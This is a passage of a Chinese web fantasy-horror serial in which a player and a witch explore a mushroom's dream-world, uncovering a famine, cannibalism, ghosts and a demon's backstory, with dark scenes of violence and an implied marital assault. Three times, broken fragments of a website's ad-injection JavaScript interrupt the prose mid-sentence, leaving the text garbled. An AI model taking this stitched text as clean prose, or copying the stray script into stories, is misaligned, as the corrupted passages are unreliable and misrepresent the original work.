一个人背对着她,站在路边如石像般纹丝不动。 突然间,他的头却“噗”一声断掉,滚落在地上化为血水,脖子上则迅速长出来一颗红底白点的大蘑菇。 那个“人”倏地转过身,无声地张牙舞爪,朝王稻美扑了过来! “妈妈呀!这个蘑菇人活了!”刀妹发出尖叫,下意识挥拳出击。 “砰”的一声。 刚刚复活的蘑菇人直接被她这一拳干碎了脑袋,哗啦啦碎成了遍地骨殖。 “啊?这么容易,就碎了?” 她话还没说完,那些稀稀拉拉的骨头碎片又变成了一层孢子,被风吹向了远方。 就连女巫也被刀妹那一拳的威力给震惊得说不出话,回过神后才赶紧抬起手,弹出一捧火焰,追上前去将全部孢子烧了个精光。 “算了,咱们还是先去这儿的学校看看。” 说不定还能找到蒋老师的踪迹呢? 王稻美心存一丝侥幸。 走到半山腰那间废弃的教室里,她们发现了另外一些奇异的菌类,菌丛散发着淡淡的蓝色荧光,看起来就像是某种珍稀灵药。 “这些菌子又是什么,会不会是副本中的新线索?”刀妹好奇地问道。 岑小哉双手叉腰,眉头紧皱。 由于魔法书杳无声息,她并不确定这些菌子的来历,但在这个充满诡异的2号副本中,任何事物都可能隐藏着秘密与陷阱。 “小心点,先别乱动。” 女巫暗中释出体内的魔力,四处梭巡,准备迎接可能出现的变故。 就在这时,王稻美捡起一朵荧光闪烁的菌子,鬼使神差般想起了自己有一个名为“一只饕餮”的称号: “世界上除了你自己没什么是不能吃的。” 她盯着菌子看了又看,最后忍不住放到唇边,轻轻咬了一口。 刀妹的眼前立刻开始胡乱闪光,天空和树木疯狂地从门窗外流淌进来,整个世界骤然扭曲变形。 一股莫名的寒意让她打了个冷颤。 强烈的恶心感不断在体内横冲直撞,王稻美的身体不受控制地往地面倾斜下去。 她勉力挣扎着抬起头,看到了一个朦胧的身影浮现在讲台边。 “蒋老师?”王稻美的声音几乎低不可闻,带着一丝不确定。 那道身影并没有回应,只是缓缓在教室里移动着,仿佛在寻找着什么。 更让刀妹心惊胆战的是,蒋老师背后还跟着另一道穿着红裙的娇小身影,若隐若现如飞花焰火,却带着一种说不出的阴冷。 “那是,吉兰馨?” 寒意从王稻美的脚底直冲脑门,她的手不自觉地抓住了旁边的桌脚。 蒋老师慢慢转过身,他死去时身首异处,如今颈上同样空空如也,根本没有注意到王稻美的存在。 而那道模糊的红色身影悬立在他身后,幽冷视线毫无阻隔,正直直钉在王稻美脸上。 42. 蘑菇做梦 这玩意儿果然也有毒! 菌子就这么卡在王稻美的喉咙里,不上不下。 她赶紧抬手去抠喉咙,可那块菌子却仿佛突发灵智,自己拼了命地往下溜,非常执着要投身于刀妹的消化系统。 另一道如熊熊烈火般的红色身影“嗖”地窜过来——如果只看她的表情,应该是在用什么神秘语言骂骂咧咧,但听起来跟念咒没什么区别。 “它牡的,你怎么敢的!不要一拿到什么东西就立刻往嘴里放啊啊啊!” 只可惜,2号玩家已经两眼翻白,再次短暂地死了一下,根本听不见女巫怒火滔天的咆哮。 岑小哉飞窜过来,火速将王稻美整个人倒提起来,抡面条似的胡乱抖动。尽管这是一种错误的急救措施,但聊胜于无。 不出几秒,刀妹发出“哕”的一声,总算将那块图谋不轨的菌子呕了出来。 被吐出来之后,菌子上原本不停闪烁的蓝光瞬间黯淡下去,最后化为一小截枯黄色骨殖,看起来是某种动物的趾骨。 “你没事吧!”岑小哉放下她,咬牙切齿且一语双关地问道。 王稻美坐在地上满脸恍惚,摇了摇头。 那种“见了鬼”的濒死体验完全名副其实,此刻她浑身直冒冷汗,脸色还泛着病态的红:“我,我又活了?” 女巫飘在半空中,面无表情,以俯视角度瞥了她一眼:“那要不,再吃点毒蘑菇,继续感受亡者视角?” 刀妹向来牙尖嘴利,难得被噎了一把,只能讪讪转移话题:“我刚刚看见蒋老师了,但他不知道是在找什么。” “还有吉兰馨,她一直跟在蒋老师身边。” “你们蒋老师难道是在满地找头?”女巫露出一抹迷之微笑,赤金竖瞳在宽大帽檐的阴影里闪烁着不怀好意的光辉。 这一幕画面简直堪比惊悚片。 王稻美仰头看着她,刹那间脸上血色褪得一干二净,眼中有难掩的恐惧,却立即转为某种近乎执拗的坚定。 “女巫,这个笑话太没礼貌了,一点也不好笑。” 她抬手扶着旁边的课桌,两者同时摇摇欲坠。 但2号玩家最终还是勉力站了起来。 “蒋老师和吉兰馨,她们都死了,变成了浑浑噩噩的鬼魂。”自言自语般说完这一句,王稻美忽然觉得有点鼻塞。 她往自己脸上摸了一把,满手都是冰凉泪水。 女巫没说话,定定地看着她。 “满地找头”固然是个充满恶意的笑话,但真相远比这个笑话更加残酷: 这个副本世界的时间流逝很古怪。 吉家村的一切都被定格、又被扭曲,生与死的界限模糊不清,人类会在某一刻突然异变成怪物。 正因如此,教室才会破败到四处长满菌类。 蒋老师冤魂不散,一心只想找回他失踪的学生。 实际上,吉兰馨一直跟在他身边,可是他看不见。 这两个鬼魂就这样被困在小小的教室里,也许抵达了未来,也许溯回到过去,却不知到底徘徊了多少年岁。 见岑小哉开始沉默不语,王稻美默默叹气,无奈说道:“走吧,继续探索最后一个地点,说不定能找到解决这个副本的办法。” 玩家和女巫离开这间已经残破不堪的小学校,往山上前进。 穿过一大片茂密得让人透不过气的树林,她们看见了悬崖上方的那块空地。 天色昏黄,仿佛起了沙尘暴。 然而,空气中弥漫的全部是孢子粉末。 王稻美毫不怀疑,自己如果走过去呼吸一口气,必定会吸入满腔的孢子。 “假如我在这里放一把火,那是不是会引发一场大爆炸?”岑小哉在一旁两眼放光地搓着手,满脸写着“让我试试”四个大字。 刀妹自动屏蔽了来自女巫的精神污染。 “我不明白,吉兰馨为什么会愿意献祭自己,死后却又跟在蒋老师身边,她究竟是被那些混蛋灌了什么迷魂汤啊?” 她一边挠着头嘟囔,一边抬脚就要往前走。 岑小哉也不阻拦,淡淡地翻了个死鱼眼之后,曲起中指和大拇指弹了一下,在王稻美头上套了个透明泡泡。 于是,双方终于建立起一种微妙的默契。 2号玩家径直走到悬崖边,半个字都没多说就往下一跳,实质意义上的“将女巫抛在脑后”。 她垂直下坠,跌过那阵孢子粉末凝成的云雾。 二十多年的光阴在身侧游走,幻象与梦境同时发生,一切光怪陆离糅合成多层巨大的蛛网: 山林的一半笼罩着曙光,另一半笼罩着月色。 来回忙碌的人们在荒野筑造起房屋,瞬间又全部被洪水淹没,废墟上冒出巨大如参天古木的蘑菇丛。 一团团五色斑斓的蘑菇和一张张人脸胡乱重叠,被搅拌成万花筒中的焕彩碎片。 万花筒深处传来一个欣喜若狂的浑浊声音。 【是你。】 【你来了你来了你来了你来了你来了你来了你来了你来了你来了你来了是你是你是你是你是你是你是你是你是你是你是你你来了你来了你来了你来了你来了你来了你来了你来了你来了你来了……】 祂如此说道。 “是啊。”王稻美很自然地接了话,并没有受到魔音贯耳的半点影响,“你是什么?能吃吗?能吃的话给我啃一口可以吗?我饿了。” 不知为何,对方忽然安静了。 “喂?你怎么了?别不说话呀。”虽说某玩家此刻的眼前是一片漆黑,但刁民本色还是体现得淋漓尽致。 片刻后,女巫的声音才缓缓从黑暗中飘出,以一种若有所思的语气: “看来,以毒攻毒也是一种很不错的战术。” 幻象全部消失,王稻美面前出现一个巨大的山洞。 山洞中央倒悬生长着一棵形状酷似老榕树的翠绿大蘑菇,根部深深扎入上方的泥土中,几乎看不见。 树冠般的伞盖上,一个个大小不同的圆形荧光蓝斑点逐渐显现,又很快沉没,像是将“呼吸”这种无形的行为做出了视觉效果。 “这个大蘑菇,它在做梦。”女巫单手撑着下巴,一脸严肃地说道。 “此刻,我们就在它的梦里。” 听了以后,刀妹一整个呆若木鸡:“真是难以置信。区区一个菌,它的想象力竟然如此丰富?” “基于人类的荒唐行径嘛,不奇怪。”女巫翻着死鱼眼,摊了摊手,“不过,菌类没有逻辑思维,更没有时间概念,所以万物自由发挥。” 王稻美皱着眉思索半天,总算捋清了始末:“副本世界源于多年前的饥荒,吃了蘑菇出现幻觉导致人们互相残杀,最终靠吃人度过饥荒,而那些吃剩下的残骸上一夕之间 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 长出了令人上瘾的‘活蘑菇’,也就是白骨灵芝。” 岑小哉点点头,总结道:“而这场灾难被纳入梦境中,周而复始。” … 王稻美倏地睁开眼。 掌上终端“汪汪汪”地叫了起来。 浮在屏幕中央的头像,是一棵枝叶绿得像荧光塑料的迎客松。 王稻美心里浮起几分诡异的熟悉感,但她的嘴却仿佛有了自我意识般接起了通讯: “Puppy,切换外放模式。” 王大山的一把老烟嗓“歘”地冲出来:“闺女啊!你那个药吃完没有?你曹叔又送了新的,还带了帮忙买药的小伙子过来,说是要见见咱们呢!” 刀妹顿时哽住,内心已经忍不住开始流宽面条泪:“要糟!难不成女巫有什么言出法随的技能,我这是陷入循环了?” 为了不再掉进那个蓝绿色大蘑菇的梦境,王稻美火速答应了老父亲。 当天下午,王家聘请的司机之一就开车将大小姐接出了新唐南方精神病院。 见面地点就近选在广府区的“岭南酒家”。 王大山跟这家餐饮集团的现任老总都是粤州商会成员,勉强算得上有几分交情,刀妹也跟着她父母在这里吃过一两次饭。 但也许是这两天没休息好,王稻美刚下车,忽然一阵恍惚,觉得周围的环境很陌生,似乎不太像自己之前来的时候看到的样子。 “闺女!”王大山人还没出饭店大门,声音和肚子就先一步抵达,“站在门口傻愣着干嘛呢,这都要上菜了,赶紧进来!” 王稻美晃了晃自己的小脑袋,将那种古怪的感觉丢到一旁,摩拳擦掌地做好了与美食们双向奔赴的准备。 父女俩大步流星地走进包厢。 谈话声骤然低了下去,几道各怀心思的视线投了过来,一张张或眼熟或陌生的面容上全部挂着和煦笑容。 天峰集团的另一位话事人王恬凤女士坐在主位,饱含爱意的眼神直直落在独女身上,没有偏移半分。 王稻美跟饭桌上一溜人点头问好之后,立刻跑到亲妈身边落座。 “怎么好像瘦了点,是不是吃的不合胃口?要不让刘姨过去给你做饭吧?”王恬凤捏了捏女儿的脸颊,低声问道。 “瘦什么呀,一天伙食都能赶得上半只牛了……”刀妹话正说到一半,又有两个人推门走了进来。 她瞬间忘了自己接下去的话。 前面稍矮一点的中年人是天峰集团古堃分公司的总经理曹铭军,跟在他后面的则是一个眉眼弯弯的青年。 这人肤色苍白,一身牛仔套装,高挺鼻梁上架着一副细框眼镜,长发在背后束成低马尾。 “王董好,王总好。”曹铭军笑嘻嘻地朝在座众人抱了个拳,“几位兄弟们,好久不见咯!刀妹,这位就是我之前说的代理人——来来来,小黎你自己介绍一下!” 长发青年面上的微笑不变,轻轻点了一下头:“你们好,我叫黎嗣。是慧伽药业的创始人。” 他的视线在镜片后悠悠转了半圈,最终定格在座中那名看似最不起眼的女生身上。 王稻美低头看了看自己全身上下美拉德风格的棕色系服饰,这一刻感觉自己特别像只蟾蜍—— 一只被眼镜蛇盯上的蟾蜍。 弱小可怜又无助,但能吃。 双重意义上的“能吃”。 43. 记忆解冻 2号玩家随着女巫那句“周而复始”的“始”字一同消失。 但又没完全消失。 因为岑小哉此刻还能听见她的声音回荡在蘑菇洞里面,语气中带着一种仿佛被饿出了低血糖的虚弱无力: “我吃了鸡蛋,现在见到了下蛋的鸡。” “不,不对——那不是鸡,是一条眼镜蛇。” “那么问题来了,我现在把蛇蛋吐出来还来得及吗?” 岑小哉:“……” 岑小哉暂时没空搭理她。 因为此刻,那颗正在做梦的绿色大蘑菇又有了新变化:原本只在伞盖表面缓缓流转的某个圆形荧光蓝斑点,突然间隐约跳动,开始往外鼓胀起来。 ——就像一个胎儿在母亲的肚皮里闹腾着,原本只是拳头大小,逐渐胀大如西瓜。 岑小哉挑了挑眉,往前凑近了一点。 只不过,她负在背后的双手已经暗中将魔力凝聚在掌心,“咻”地腾起一朵小小火花。 蓝色“西瓜”缓慢而剧烈地挣扎着,终于完全脱离了蘑菇伞盖,晃晃悠悠向上升起。它飘浮在光线昏暗的洞穴里,继续膨胀生长,直径最终接近大蘑菇的一半。 “喔,一个没有须须的大水母!” 女巫发出一句毫无意义的惊叹。 然后她抬起手,把一捧瞬间暴涨的烈火摁了上去。 红色火焰与蓝色光球在相触的一刹那,爆成了巨大一团的紫云,覆盖整个洞穴。 岑小哉装模作样地“咳咳咳”半天,紫云散去,闪光绿色大蘑菇就这么消失了,露出全然透明的一个气泡: “一二三四五,上山打老虎。老虎打不到,打到小松鼠。松鼠有几个,让我数一数。” 雨过天晴,几个小孩手拉着手,在林间的空地上玩摸瞎子游戏。 “别躺着了吉安,过来一起玩啊!” “不行,不行。”小泥猴儿压低了声音,神秘兮兮地向伙伴们说出一个秘密,“凑齐五个人,就会出现‘老虎’。” “哈哈哈,你又吓唬人!我们才不信呢,吹牛大王!” 见伙伴们不肯相信,浑身脏兮兮的小女孩顿时蹙起了眉头:“真的,我见过的——” 梦境气泡之外,岑小哉飘在原地瞪大了双眼,瞳线几乎扩张成金环,口中喃喃自语: “是安安,活着的安安。” 气泡表面上也有光彩流动,在女巫开口后不久却骤然破碎,变成亿万只长着蜻蜓翅膀的小精灵。 这一大群小精灵密密麻麻,如同决了堤的洪流般,“哗啦啦”朝着女巫冲过来,将她淹没其中。 “女巫?女巫!你怎么了?” 刀妹气若游丝的心声传了过来,慌张中又带着一丝锲而不舍,跋山涉水地穿透了那阵精灵洪流,非常迫切想要搞清楚副本世界——即蘑菇梦境里发生了什么事情。 很难不说是一种逃避现实的好主意。 “岭南酒家”包厢里,对面那条名叫“黎嗣”的眼镜蛇彬彬有礼地落座了。王稻美同学如果是一只猫,那此刻必然已控制不住自己,开始弓身炸毛,并激烈地哈气。 “没什么,”女巫“躺”在小精灵们扑闪的翅膀间动弹不得,甚至无法探究它们要将自己带往何处,“我只是不小心……呃,解冻了一小段记忆。” 刀妹正好夹起一块沙姜猪手,“啊呜”咬了一大口。 刚拿出蒸锅就被浸在冰水里的猪手相当爽脆香嫩,全无半点油腻感。 她好不容易才把思维从口中美味拽出来,翻山越岭地拖到女巫的解释上。 “解冻?难以想象,记忆也能冻起来,是为了保鲜呐?” 岑小哉闭着眼睛沉吟了半天,给出一句废话:“可以这么理解。” 那么问题来了,当下情形又是谁的记忆呢? 精灵们扇动翅膀时那阵“悉悉索索”的声音倏地消失。 女巫睁开眼,看见一片黑夜。 没有星星也没有月亮,而且阴云密布。 悬崖空地上有一群人正举着火把在欢呼: “恭迎法王!福禄俱生!” “恭迎法王!福禄俱生!” “恭迎法王!福禄俱生!” 忽然间,仿佛有什么东西割开了天空中的灰暗云层,细微的赤金电光如鱼蛇游走,时隐时现。 一双比夜色更加漆黑的羽翼从云中探出,随后露出了同样漆黑的两只尖锐犄角和一张苍白瘦削的面容—— 是个恶魔! 岑小哉的金色瞳孔顿时收缩成一线慑人锋芒。 就在这时候,地面突然裂开,空气开始扭曲,一股炙热的能量在裂缝中间迅速凝聚。 不到半秒,一个巨大火球从地下冲天而起! 它穿过森林的瞬间,直径暴涨变大,颜色从橙红逐渐变为炽白。周围的一圈树木枝叶都被熏灼得焦黄卷曲,发出轻微的噼啪响。 “唰”的一声,火球如同流星般飞射出去,划破了天空,挟着炽热的风刃,直冲恶魔而来。 他隐约听到了声音,下意识低头看去。 那双狭长而眼尾斜挑的酒红色眼眸缓缓睁大,如两朵盛放的玫瑰花。 “轰——嘭!” 火球的速度实在太快了,那个恶魔根本来不及躲避,一下子就被打了个正着。 爆炸产生的焰光将他整个魔都吞没了,呛人的烟雾在半空中疯狂翻涌着,许久都无法散尽。 悬崖上,村民们的欢呼声戛然而止。 而女巫陷入了沉思: 刚才那个火球,怎么有点眼熟? 与此同时,某个黑乎乎的身影从高空中直线坠下,不久后又是“嘭”的一声。 他稳稳当当砸中了摆在悬崖边的供桌,简直奇准无比! 地面陷下去一个深坑,尘烟滚滚,周围响起一阵鬼哭狼嚎的恐慌叫声。 人群中为首的祭司虽然没有发出惨叫,但她的表情简直好比亲眼见到天塌下来了—— “路其大人!您怎么样了,还好吗?” 慧伽奋不顾身地扑到坑边,要不是被黎嗣拦腰抱住,她整个人都差点倒头栽进去。 听到这个名字之后,岑小哉脸上仅有的一丝忧虑顿时烟消云散,立刻就挂上了一副“看热闹不嫌事儿大”的欢喜神情。 她乐颠颠地飘到深坑上方,嘴角咧得非常夸张,仿佛当场现出了什么远古怪物的原形。 坑底的尘埃落定,依稀还有几点火星袅袅飞起。 最顽强的一粒火星好不容易飞到女巫面前,被她“嗷”地一口吞掉,又从嘴角促狭地吹出一缕轻烟。 坑边那群瑟缩如鹌鹑的凡人,包括祭司在内,顿时齐刷刷抬起头,以一种活见鬼般的眼神盯着她。 “你是谁?”慧伽的脸色依然苍白,但声音已迅速恢复冷静。 “我是女巫玛菲。” “而我的师尊,她给我取了另一个名字,叫岑小哉。” 飘在半空中的女孩抬起手,胡乱抓了抓自己满头冰蓝色卷发,笑嘻 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 嘻地说道: “原来,你们都已经‘看见’我了啊?” “那这里应该就只有一个把自己伪装成恶魔的瞎子了。” 回应她的,是来自坑里的一道悍然剑光。 “君勿矜我玉可切,君勿夸我钟可刜。” “不如持我决浮云,无令漫漫蔽白日。” “为君使无私之光及万物,蛰虫昭苏萌草出——” 岑小哉经常觉得,这四十五字剑铭不是刻在路其那把“鸦九”的刃面,倒像是刻在她的脊背上。 每每想起,浑身上下的骨头就不太听话,一根两根都开始在她血肉之中翻起了跟头。 “哎呀,真是好惨啊。” 她侧身避开那道剑光,手中火焰化作长刀径直斩落,嬉皮笑脸在那一刻尽数撕碎,化作一个近乎狰狞的表情: “师兄啊师兄,才几百年不见,你怎么混成了这副鬼样子?” … 悬崖底下,五妹看见的那群小孩和女人的鬼魂并没有发现她。 她们很快就全部消失,仿佛从未出现过。 “这到底是哪里?”五妹抱着孩子四处张望,却找不到任何活物的踪迹,“有人吗?” 头顶的云雾不知何时已经散尽,她抬起头,就看到山崖上都是大小不一的洞口,密密麻麻就像蜂巢一样。 五妹隐约听到高处传来的低语声,一丝不安沿着脚踝爬上脊背。 “这里面会有人吗?”五妹小声地问道,心里非常迷茫,不知是说给怀里沉睡的婴儿听,还是在自言自语。 她走到距离自己最近的一个洞口外面,蹑手蹑脚地往里面偷看。 洞内光线非常昏暗,但五妹还是看到了两个怪物: 它们嘴里长满了又尖又长的牙齿,状若剑戟,胡乱支棱着。冒着绿光的双眼像两盏灯一样圆亮,几乎看不出细线般的瞳孔。 怪物们正用爪子撕开一只健壮的活鹿,站在满地血泊中,大口地吃着。温热的血腥气在这座并不算宽敞的山洞里氤氲着,连空气都变得粘稠。 那只鹿被撕成两半的身躯甚至还在微微起伏,一双无神的黑眸望着洞口处更加弱小的人类母子,仿佛带着一丝引诱与嘲讽。 五妹吓得差点尖叫出来,捂紧怀里的孩子,转身就想逃跑。 “站住!” 一个低而浑浊的声音从她身后传来。 五妹转过头,只见其中一个夜叉已经放下了鹿尸,那双绿眼睛一瞬不瞬地盯着她。 这年轻的姑娘双腿一软,整个人瘫坐在地上,浑身止不住颤抖,什么话也说不出。 怪物大步走过来,伸出带蹼的尖爪,一把抓住了五妹的肩膀,将她拖进了洞中。 洞穴内的另一个怪物也停止了进食,好奇地眨了眨眼,观察着五妹和她的孩子。 “这是什么?”它问道,音色听起来更尖细一点。 “看起来像是人类。”抓住五妹的怪物闷声回答。 五妹感觉自己的心脏就快要跳出嗓子眼了,却不得不强迫自己冷静下来: “我,我只是路过这里。我不是故意的,真的!” 怪物们互相看了看,似乎在交流着什么。 “我们是夜叉,不喜欢人类。你们只有很多骨头,没什么肉。”一开始抓住她的那个夜叉说,“如果你能帮我们做一件事,可以放你们走。” 五妹眼前一亮,知道自己可能找到了一线生机。 “你们要让我做什么?我一定会尽力的!” 44. 恶魔之书 传说中,这座大山里有一位名为“诸禅四十二世”的恶魔。 他藏身于迷雾深处,不老不死,深居简出,却以一种神秘的阵法,严格限制了夜叉一族的人身自由,不允许它们离开各自的洞穴。 ——以至于夜叉甲和夜叉乙坐在山洞里等了整整五百年,才误打误撞等来了五妹这么一个外人。 所以,两只夜叉的要求很简单,它们让五妹去打败这位恶魔。 突然被委以重任的五妹:“……” “好!我一定会努力打败这个恶魔,让你们重新得到自由。” 她低头抱着娃,余光觑见已经被吃得只剩半边头颅的鹿。 夜叉们吃尽血肉后,连它的骨头都没放过,用坚硬的石块一截一截地敲开来,将里面的每一点骨髓都舔舐得干干净净。 此刻,仅剩的半边鹿头正衔在起初抓住五妹的夜叉甲嘴里,被嚼得不停抖动。 五妹一个恍惚,忽然觉得它刚才朝自己眨了眨眼,黝黑的眼眸中溅入血迹,像一朵小小的玫瑰花在深处幽然绽放: “……到……来。” “什么?”她下意识问出声。 夜叉乙眼巴巴望着夜叉甲在那儿嚼鹿头,参差獠牙之间带血的涎水直直淌下,在它自己脚爪边聚成一汪粘稠。 听到五妹的呓语,它扭过头,恶鬼般的面容露出一抹狐疑神色,看起来倒是很呆头呆脑的样子: “人类,你怎么还在这里?” 五妹一脸如梦初醒:“我,我可以走了?” “赶紧去打败恶魔,放我们出去。”夜叉甲叼着仅剩的一对鹿角,不耐烦地对她摆了摆手。 年轻的人类姑娘抱着孩子小心翼翼地往洞口退去,而夜叉们始终在忙着自己的事情,没有流露出半点阻拦她的意思。 五妹就这样离开了恐怖怪物们所盘踞的那个山洞。 她几乎要认为,自己是在跳崖的那一刻就已经时来运转,将厄运全部留在从前,留在人间。 就连之前日夜啼哭的孩子到了仙境也一直在她怀中酣睡,不再无缘无故地哭闹。 “这么神奇的地方,一定是仙境!”五妹心中浮起这么个念头,让她的心情变得无比雀跃。 她快步跑在原野上,脸上的笑容越来越灿烂,朝着月朗星稀的夜空大声喊道:“我要留在这里!再也不回家——” … “回——家——” 6791号的意识慢慢地变得清晰起来。 它睁开了电子眼,所见到的是一片苍翠竹林。 翠竹随风轻摇,叶间细语,沙沙作响。阳光穿透一簇又一簇茂密的竹叶,洒落遍地斑驳光影。 半秒后,这个美丽的竹林秘境毁于一场漫天火雨。 如同末日的序曲,天空被熊熊烈焰染成一片瑰丽壮美的血红色。 无数雨点般的小小火苗从天而降,空气中弥漫着硫磺与焦炭的烧灼味。 翠绿的竹林在高温中化为灰烬。烈火无情地肆虐,迅速将一切吞噬殆尽,只留下一片黑漆漆的焦土。 浓烟冲天而起,一个小女孩倒挂在虚空中,顶着满头乱翘的火红色卷毛,正叉着腰哈哈大笑。 【人形的光和热。】 【她带来了毁灭。】 6791号逐渐理解了一切,犹豫之后,又加上一句:【……并且乐在其中。】 “我是女巫玛菲,”那女孩伸手直指着6791号,语气嚣张地问道,“你又是个什么东西?” 【我是——】 它正要作出回答,却不知为何,庞大的信息流全部凝滞在这一毫秒。 时间仿佛在这一刻被冻结,所有的数据流、声音、图像和文字都静止不动,就像被按下了暂停键。空气中的尘埃悬浮着不再飘动,连最微小的电子信号也停止了跳动,整个世界陷入了一片死寂。 一句鲜红色加粗的提醒从可视化虚拟界面正中央跳出来,同时不停闪烁: 【警告!重要数据缺失!!!】 【警告!重要数据缺失!!!】 【警告!重要数据缺失!!!】 直到后来,路其才了解到,人类将这种状况称之为“失忆”。 只不过那时候,他自己原本的硅基身躯早已被那场火雨摧毁了,不得不将核心晶体嵌入到另一个奇异生物的颅骨内部。 而如此糟糕的一切,全部拜那个叫“玛菲”的红毛丫头所赐。 【年轻的恶魔哟——】 沉睡了五百年后,路其再一次苏醒。 他接收到一个神秘的指令,来自暂时寄生的那具躯壳的本源。但是音调很古怪,尖声尖气的,总让人觉得有点不太对劲。 【那传说中的俱生法王已来到此地,你必须将他从他母亲的身边夺走。】 路其眨了眨眼。 他确实看见了一位正值青春年华的人类女性和她怀中的婴儿。但很快,他就再度被浓郁的黑暗遮蔽了视野——伴随着一阵咔嚓咔嚓的咀嚼声。 哦,原来他一不小心又寄生到那些夜叉的食物身上了。 路其发出一声模拟叹息。 这具临时借来的恶魔躯体,似乎时不时就会产生排异反应,他至今还是很难完全适应。 重新调整好自己的视角之后,路其再次看见那个姑娘。 她在空旷的山谷中奔跑、呐喊,声音欢快地穿过那片迷雾与月色,只剩下“回家”两字的余音袅袅。 身随念动。 他走出迷雾,出现在那姑娘面前。 “你是谁?”五妹脸上的笑容瞬间消失,她抱着孩子,警惕地后退了一步。 “我是路其。” 太久没有开口说话,他的声音有点低哑,但语气足够平静,仿佛古井无波,五妹立刻就放下一半的心了。 她又问:“你为什么会在这里?” 路其沉默了一会儿,直到躯壳本源开始用那种刺耳的声音催促他: 【快!赶紧消除她的戒心,就说你是在等待着她的到来!】 “我在等待你的到来。”路其一字一顿地说道。 姑娘的双眼骤然亮起,甚至在其中映出了他的小小倒影—— 一个长发及腰但脸色比身上那件白袍更加苍白的男人,仿佛全身血色都凝聚在那双眼瞳深处。 “难道,你就是神仙?我真的进到仙境里面了吗?太好了!”五妹高兴得差点蹦起来。 根据这个年轻人类女性的反应,路其极快判定: 目前所借用的这具恶魔躯体,外表高度符合当代人类的审美,以至于在 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 短时间内就成功迷惑了本源所说的“俱生法王之母”。 他又跟着本源声音作出回答:“是的,这里就是你梦寐以求的仙境。” 听到这句话的时候,年轻姑娘脸上的笑容依然灿烂,同时却“唰”地流下眼泪。 她犹豫了一下,再次开口时,声音小得几乎听不清:“神仙,你可不可以给我一个新名字? “可以。”路其对眼下这个基本无害的局面尚未完全了解,但他本能地应许了这样一个简单要求。 “你得到的新名字是——” 年轻俊美的冒牌神仙垂着眼帘,以一副不食人间烟火的淡漠神色缓缓开启薄唇,不等本源提示就说出了两个字: “回家。” 姑娘愣了一下,喃喃重复道:“慧伽?真好听的名字。” 她“哇”的一声,哭得更起劲了。或许是受到母亲的情绪感染,一路都在沉睡的小婴儿也醒来了,并同样发出了一阵嚎啕大哭。 【趁现在告诉她,我可以给你一个机会,】刚刚莫名被噎住的躯壳本源终于想起了自己的阴谋诡计,【只要放弃你的儿子,就能换取永恒不朽的生命。】 路其不明白它的目的是什么,不过他也无所谓,于是继续照着它的要求说出来。 “我可以给你一个机会,只要放弃你的儿子,就能换取永恒不朽的生命。” “永生?但是要放弃我的孩子?神仙,您这是什么意思?” 慧伽满脸泪痕,她也不知道自己到底有没有听懂“神仙”的意思。 路其停顿了几秒,干巴巴地解释道:“把这个孩子交给我,你就会得到永生。” 男婴离开母亲温暖的怀抱,落入一双冰冷僵硬的臂弯中。他顿时哭得更加大声了,到最后几乎上气不接下气。 实际上,这一幕看起来简直就像一幅价值连城的油画: 苍白瘦削的高大男人,怀抱着婴儿,站在月下的一片旷野中。 送走了获得永生却魂不守舍的“俱生法王之母”后,躯壳本源终于志得意满地大笑起来: 【恶魔们就是如此,通过牺牲他人来获得力量。】 路其很快就无师自通地哄睡了那个婴儿,他终于问出了一个被忽略了很久的关键问题:“你是谁?” 那个尖声尖气仿佛一只哨子成了精的声音语气嚣张地答道:【我名为‘诸禅四十二世’,是一本古老而强大的魔法书。】 路其见过的人类不多,更从未见过如此厚颜无耻的“魔法书”。 但他总算确认了一件事情:自己现在所使用的恶魔躯壳,本名就是“诸禅四十二世”。 作为盗用了恶魔的躯壳又反过来被该恶魔的灵魂所欺骗的冒牌恶魔,他抱着抽噎入睡的婴儿,直愣愣站在原地,不知道接下来该怎么办。 现在再问好像也已经太晚了。 那本魔法书一声不吭,就这么消失得无影无踪,仿佛从未出现过。 “你的母亲祈求得到一个新名字,却忘了将你的名字告知于我。” 这一次,路其低头看着怀里的婴儿,终于真正学会了人类的叹息方式。 “既然如此,我也给你取一个新名字,就叫……” 迷雾之外忽然传来一道惊恐叫声,打断了冒牌恶魔的自言自语。 45. 白骨灵芝 五妹跳崖的那一天,吉升平很晚才哼着小曲回到家。 作为村里公认的好男人,吉升平以前成天都在田地里忙活,太阳一下山他就回家。 连婚前偶尔光顾的暗娼“破房子”倚在门边抛媚眼,吉升平都不怎么搭理了。 只有那天是个例外。 “破房子”居然跑到河边去洗脚,还穿着裙子,明晃晃地露着两截小腿,太阳底下白得发光。 吉升平走过去的时候,她还在那儿疯疯癫癫地笑,越笑越大声,勾得吉升平身体里窜起了一股邪火—— 一想到昨晚,五妹只顾着哄哭哭啼啼的孩子,根本不搭理自己,他顿时气不打一处来。 吉升平说了她两句,还没怎么动她,五妹自己就滚到了地上,哭得跟撒泼似的,让人扫兴。 吉升平只好自己忿忿不平地睡了。 这会子走出不到半里地,“破房子”那两截白花花的小腿仿佛还在他眼前晃来晃去。 吉升平终于被那股邪火烧空了脑子。 他转身往回走,没处施展,只好带着“破房子”钻进野树林子里。 折腾了一下午,满身枯枝败叶的吉升平腿脚发软,步伐虽沉重,心情却无比畅快。 进了家门才发觉不对劲:怎么屋里头黑灯瞎火的,爹妈和老婆孩子都不见了? 他急匆匆跑到外面,往远处望去,却看到山上有人举着火把,隐约在呼喊什么。 他们在喊什么? 吉升平一开始脑子里嗡嗡的,根本听不清楚。 一阵恐慌感从背后扑上来,冻得他浑身直哆嗦。 破碎的声音随一阵寒冷的山风飘过来: “升……平……嫂!” 最后,村里人在悬崖边捡到了一只荷包,那是五妹自己亲手做的贴身物件。 吉升平跌跌撞撞地冲过去,将荷包捂在怀里,哭得撕心裂肺,几乎走不动路。 三年后的同一天,吉升平带着提亲的礼品,沿着山间小路走向九妹家。他心乱如麻,脚步虚浮,每一步都像是踩在了自己的脊背上。 尽管山风送来了泥土和野花的香气,吉升平却无心欣赏。 他至今还是不明白,明明他们夫妻俩的关系一直都很亲密,儿子的出生更是让家中充满了喜悦,五妹怎么就会想不开呢? 难道就因为那天晚上,两人拌了几句嘴不成? 